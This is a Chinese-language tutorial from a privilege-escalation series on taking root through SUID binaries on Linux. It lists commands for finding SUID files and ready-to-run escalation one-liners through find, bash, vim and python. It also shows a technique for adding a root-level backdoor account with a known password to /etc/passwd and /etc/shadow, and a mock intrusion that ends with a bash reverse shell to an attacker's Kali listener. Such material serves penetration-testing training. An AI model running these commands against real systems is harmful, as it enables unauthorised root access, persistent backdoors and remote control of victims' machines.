操作系统权限提升(十九)之Linux提权-SUID提权
系列文章
SUID提权
SUID介绍
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的
注意以下几点:
- 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
- 命令执行者要对该程序文件拥有执行(x)权限.
- 命令执行者在执行该程序时获得该程序文件属主的身份.
- SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
SUID提权原理
原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:
nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看:https://gtfobins.github.io
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
一、 find / -user root -perm -4000 -print 2>/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — – t(1000)等
5、-print 2>/dev/null 将标准错误输入到/dev/null文件
二、 find / -perm -u=s -type f 2>/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-perm -u=s 查找有s权限
4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件
三、 find / -user root -perm -4000 -exec ls -ldb {};
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000
5、-exec ls -ldb {}; 执行 ls -ddb命令
提权实验
FIND提权
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行
1、查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2、利用find提权
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
BASH提权
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行
1、查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2、利用bash提权
bash -p
VIM提权
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
1、查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2、利用bash提权
第一种方式,利用vim添加账号
vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
最后我们切换到bob用户
第二种,利用vim打开交互shell
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
PYTHON提权
1、查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2、利用提权
python -c 'import os;os.execl("/bin/sh", "sh", "-p")'
大家可以通过这篇文章来深入了解一下SUID提权 谈一谈Linux与suid提权
实战模拟
机器名 | IP |
---|---|
kali | 192.168.0.105 |
Unbuntu | 192.168.41.27 |
前期我们已经通过各种渠道拿下了Unbuntu的机器,发现是个普通用户daoer的权限
接下来我们利用SUID进行提权
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
在目标机器上找到可以利用SUID提权的命令
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
完成提权,接下来kali机开启监听,反弹shell
nc -lvvp 8888
bash -i >&/dev/tcp/192.168.0.105/8888 0>&1
kali机收到反弹shell